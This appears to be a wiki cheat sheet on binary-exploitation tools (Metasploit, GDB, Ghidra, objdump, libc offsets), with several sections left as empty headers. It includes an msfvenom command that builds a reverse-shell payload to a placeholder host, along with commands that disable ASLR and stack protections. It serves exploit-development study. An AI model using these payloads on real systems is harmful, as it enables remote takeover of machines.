Exploiting Tools

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Install

apt-get install gdb

Parameters

Instructions

You could optionally use this fork of GEF which contains more interesting instructions.

Tricks

GDB same addresses

While debugging GDB will have slightly different addresses than the used by the binary when executed. You can make GDB have the same addresses by doing:

  • unset env LINES

  • unset env COLUMNS

  • set env _=<path> Put the absolute path to the binary

  • Exploit the binary using the same absolute route

  • PWD and OLDPWD must be the same when using GDB and when exploiting the binary

Backtrace to find functions called

When you have a statically linked binary all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to identify the flow that the binary follows to for example ask for user input. You can easily identify this flow by running the binary with gdb until you are asked for input. Then, stop it with CTRL+C and use the bt (backtrace) command to see the functions called:

GDB server

gdbserver --multi 0.0.0.0:23947 (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)

Ghidra

Find stack offset

Ghidra is very useful to find the the offset for a buffer overflow thanks to the information about the position of the local variables. For example, in the example below, a buffer flow in local_bc indicates that you need an offset of 0xbc. Moreover, if local_10 is a canary cookie it indicates that to overwrite it from local_bc there is an offset of 0xac. Remember that the first 0x08 from where the RIP is saved belongs to the RBP.

qtool

Get every opcode executed in the program.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compile without protections -o --> Output -g --> Save code (GDB will be able to see it) echo 0 > /proc/sys/kernel/randomize_va_space --> To deactivate the ASLR in linux

To compile a shellcode: nasm -f elf assembly.asm --> return a ".o" ld assembly.o -o shellcodeout --> Executable

Objdump

-d --> Disassemble executable sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...) -Mintel --> Intel syntax -t --> Symbols table -D --> Disassemble all (address of static variable) -s -j .dtors --> dtors section -s -j .got --> got section -D -s -j .plt --> plt section decompiled -TR --> Relocations ojdump -t --dynamic-relo ./exec | grep puts --> Address of "puts" to modify in GOT objdump -D ./exec | grep "VAR_NAME" --> Address or a static variable (those are stored in DATA section).

Core dumps

  1. Run ulimit -c unlimited before starting my program

  2. Run sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

  3. sudo gdb --core=<path/core> --quiet

More

ldd executable | grep libc.so.6 --> Address (if ASLR, then this change every time) for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Loop to see if the address changes a lot readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset of "system" strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset of "/bin/sh"

strace executable --> Functions called by the executable rabin2 -i ejecutable --> Address of all the functions

Inmunity debugger

IDA

Debugging in remote linux

Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary linux_server or linux_server64 inside the linux server and run it nside the folder that contains the binary:

Then, configure the debugger: Debugger (linux remote) --> Proccess options...:

Last updated